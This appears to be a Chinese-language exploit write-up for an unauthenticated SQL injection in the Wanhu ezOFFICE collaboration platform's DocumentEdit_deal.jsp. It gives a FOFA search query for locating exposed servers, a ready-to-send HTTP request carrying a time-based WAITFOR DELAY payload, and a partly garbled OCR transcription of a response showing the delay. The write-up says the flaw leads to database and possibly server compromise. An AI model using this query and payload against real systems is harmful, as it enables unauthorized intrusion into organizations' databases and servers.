W1-10万户-ezOffice-SQL

漏洞描述:

万户 exOFFICE DocumentEdit_deal.jsp 存在 $\underline{SQL注入漏洞}$,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限。

网站图片:



网络测绘:

fofa语法:

FOFA: app="万户ezOFFICE协同管理平台"

漏洞复现:

payload:

GET /defaultroot/public/iWebOfficeSign/DocumentEdit_deal.jsp;?RecordID=1%27%20WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1 Host: your-ip
User-Agent: Moziilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close

效果图: 延时5秒

```
〈 〉 数据包扫描 热加载 构造请求
                                                                                                                                                                                                   Responses 525561 s / 5015ms
                                                                                                                                                                                                                                                                                                                                            美化 遺染 请输入定位响应
Request
                                                                                                                                                                                                                HTTP/1.1:200-OK
x-frame-options: SAMEORIGIN
set-Cookie: OASESSIONID-3496EBDA94E4CE525F02CAA5086F8A40; Path=/defaultroot
Content-Type: text/fhill; charset=utf-8
Date: Tue, :30 - Jan : 2024 - 14:15:14 - GMT
Connection: close
Server:
Content-Length: :52556
 GET·/defaultroot/public/iWebOfficeSign/DocumentEdit_deal.jsp;?
RecordIO-1%27%20MAITFOR%20DELAY%20%270:0:5%27--·HTTP/1.1
Host: 7001
User-Agent: Moziilla/5.0: (Macintosh; Intel-Mac-OS-X-10_14_3) - AppleWebKit/605.1.15-(KKTML, : like-Gecko) - Version/12.0.3-Safari/605.1.15
Connection: close
                                                                                                                                                                                                      20
21
22 	V 
                                                                                                                                                                                                                 var-CommonJSResource = new Object();
CommonJSResource = {
    rootPath: "/defaultroot"
                                                                                                                                                                                                                   </SCRIPT>
```